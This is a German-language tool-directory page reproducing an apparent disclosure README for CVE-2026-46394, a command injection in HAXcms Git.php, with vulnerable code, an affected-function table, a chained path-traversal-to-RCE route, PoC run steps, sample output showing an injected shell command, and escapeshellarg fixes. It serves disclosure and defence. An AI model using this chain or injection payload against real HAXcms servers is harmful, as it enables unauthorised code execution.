Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-46394-haxcms-git-command-injection — PoC und Beschreibung für CVE-2026-46394: OS command injection in HAXcms Git.php (CWE-78). Nur für autorisierte Sicherheitsforschung. | Kitploit
Tools/GitHubGitHub/shreyas-challa/cve-2026-46394-haxcms-git-command-injection
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubshreyas-challa/cve-2026-46394-haxcms-git-command-injection

CVE-2026-46394-haxcms-git-command-injection

PoC und Beschreibung für CVE-2026-46394: OS command injection in HAXcms Git.php (CWE-78). Nur für autorisierte Sicherheitsforschung.

Repository anzeigen
1vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-46394 - HAXcms Git.php OS-Befehlseinschleusung (CWE-78)

Proof-of-Concept nur für autorisierte Sicherheitstests und Forschung. Die hier beschriebene Schwachstelle ist in der neuesten Version von HAXcms behoben. Dieser PoC wird veröffentlicht, damit Verteidiger und Forscher das Problem auf ungepatchten Instanzen überprüfen können, die ihnen gehören oder für die sie explizit autorisiert sind.

CVECVE-2026-46394
KomponenteHAXcms PHP Backend – system/backend/php/lib/Git.php
SchwachstelleOS Command Injection (CWE-78)
SchweregradHoch – CVSS 3.1 7.2 eigenständig / 8.1 verkettet mit Pfad-Traversal
StatusIm Upstream behoben. Betrifft Versionen vor dem Patch.
Projektelmsln/HAXcms
MelderShreyas Challa ([email protected])

Zusammenfassung

Die Git.php-Bibliothek im HAXcms PHP Backend erstellt Shell-Befehlszeichenketten durch Verkettung nicht bereinigter Parameter und übergibt sie direkt an proc_open(). Von den 17 Funktionen, die Shell-Befehle ausführen, verwendet nur eine (commit()) escapeshellarg(). Die übrigen 15 interpolieren Aufrufereingaben direkt in die Befehlszeichenkette.

Jeder Wert, der Shell-Metazeichen (&, ;, |, $(), Backticks) enthält und eine dieser Funktionen erreicht, führt zur beliebigen Ausführung von Betriebssystembefehlen als Web-Server-Benutzer.

Die einzige korrekt maskierte Funktion ist der deutlichste Beweis dafür, dass die Maskierung bekannt war und einfach überall sonst weggelassen wurde.

Ursache

Jede anfällige Funktion durchläuft run() → run_command() → proc_open():

root@kitploit:~
// Git.php:408-411 - erstellt eine rohe Befehlszeichenkette
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - führt sie über die System-Shell aus
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

Anfälliges Beispiel im Vergleich zur einen sicheren Funktion:

root@kitploit:~
// Git.php:574 - ANFÄLLIG (keine Maskierung)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SICHER (beweist, dass der Autor das Muster kannte)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

Alle betroffenen Funktionen

FunktionZeileShell-BefehlMaskiert?
create_branch($branch)574branch $branchNEIN
delete_branch($branch)588branch -d $branchNEIN
checkout($branch)663checkout $branchNEIN
merge($branch)677merge $branch --no-ffNEIN
push($remote, $branch)785push $remote $branch $flagsNEIN
pull($remote, $branch)799pull $remote $branchNEIN
log($format)813log --pretty=format:"$format"NEIN
show($commit, $format)830show --pretty=format:"$format" $commitNEIN
list_tags($pattern)763tag -l $patternNEIN
clone_to($target)512clone --local $repo $targetNEIN
clone_from($source)527clone --local $source $repoNEIN
clone_remote($source)543clone $source $repoNEIN
set_remote($dest, $url)460remote add $dest $urlNEIN
rm($files)

Ausnutzung im Kontext

Im ausgelieferten Code werden diese Funktionen mit Werten aufgerufen, die aus Server-/Site-Konfigurationen stammen und nicht direkt aus Anfragekörpern, daher wird die Ausnutzung durch Verkettung realisiert:

  • Pfad-Traversal → Konfigurationsvergiftung → RCE: Nutzen Sie das saveOutline-Pfad- Traversal, um die site.json einer Site zu überschreiben und Metazeichen in metadata.site.git.branch einzuschleusen. Der nächste gitCommit()-Aufruf führt push('origin', $branch) in HAXCMSSite.php:584 aus und führt so die Nutzlast aus.
  • Jeder andere Mechanismus, der Git-Branch/Remote-Einstellungen in ein Manifest schreibt, erreicht create_branch() (Operations.php:2762) oder set_remote() (HAXCMSSite.php:625).

Ausführen des PoC

Der PoC steuert die echte Git.php-Bibliothek direkt an: Er erstellt ein Wegwerf-Git-Repository, ruft create_branch() mit einer Nutzlast auf, die ein Shell-Befehlstrennzeichen verwendet, und bestätigt die Ausführung, indem er eine Beweisdatei auf der Festplatte überprüft. Er räumt selbstständig auf.

Voraussetzungen

  • PHP CLI (7.x oder 8.x)
  • git im PATH
  • Eine Kopie des HAXcms PHP Backend
root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

Ausführen

Weisen Sie den PoC auf die Git.php aus Ihrem HAXcms-Klon hin (Umgebungsvariable oder erstes Argument); er erkennt außerdem automatisch haxcms-php/, das daneben platziert ist:

root@kitploit:~
# Option A - Umgebungsvariable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI-Argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Funktioniert sowohl unter Unix (;-Trennzeichen) als auch Windows (&-Trennzeichen); der PoC wählt die passende Nutzlast für das Host-Betriebssystem automatisch aus.

Beispielausgabe

root@kitploit:~
================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

SCHRITT 3: OS-Befehl via create_branch() einschleusen
  Nutzlast: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

SCHRITT 4: Überprüfen, ob der eingeschleuste Befehl ausgeführt wurde
  DATEI GEFUNDEN!
    Inhalt: COMMAND_INJECTION_PROOF
  BEFEHLSEINSCHLEUSUNG BESTÄTIGT.

Abhilfe

Wenden Sie escapeshellarg() auf jeden Parameter in allen 15 Funktionen an:

root@kitploit:~
// VORHER
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// NACHHER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

Tiefenverteidigung – validieren Sie Werte, bevor sie die Git-Ebene erreichen:

root@kitploit:~
function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

Aktualisieren Sie auf die neueste HAXcms-Version, die den Upstream-Fix enthält.

Verantwortungsvolle Offenlegung

Dieses Problem wurde den HAXcms-Maintainern gemeldet und vor der Veröffentlichung behoben. Der PoC wird erst freigegeben, nachdem ein Patch verfügbar war. Verwenden Sie ihn ausschließlich gegen Systeme, die Ihnen gehören oder für die Sie ausdrücklich autorisiert sind.

Hinweis zur rechtlichen / autorisierten Nutzung

Dieses Material wird für defensive Forschung, Bildung und autorisierte Sicherheitstests bereitgestellt. Die Ausführung gegen Systeme ohne ausdrückliche Erlaubnis kann illegal sein. Sie sind allein dafür verantwortlich, alle geltenden Gesetze einzuhalten und vor dem Test eine Autorisierung einzuholen. Bereitgestellt „wie besehen“ ohne Gewährleistung (siehe LICENSE).

Tool herunterladen
479
rm $files
NEIN
add_tag($tag, $msg)749tag -a $tag -m $msg$tag: NEIN, $msg: ja
commit($message)496commit -av -m $messageJA (einzige sichere)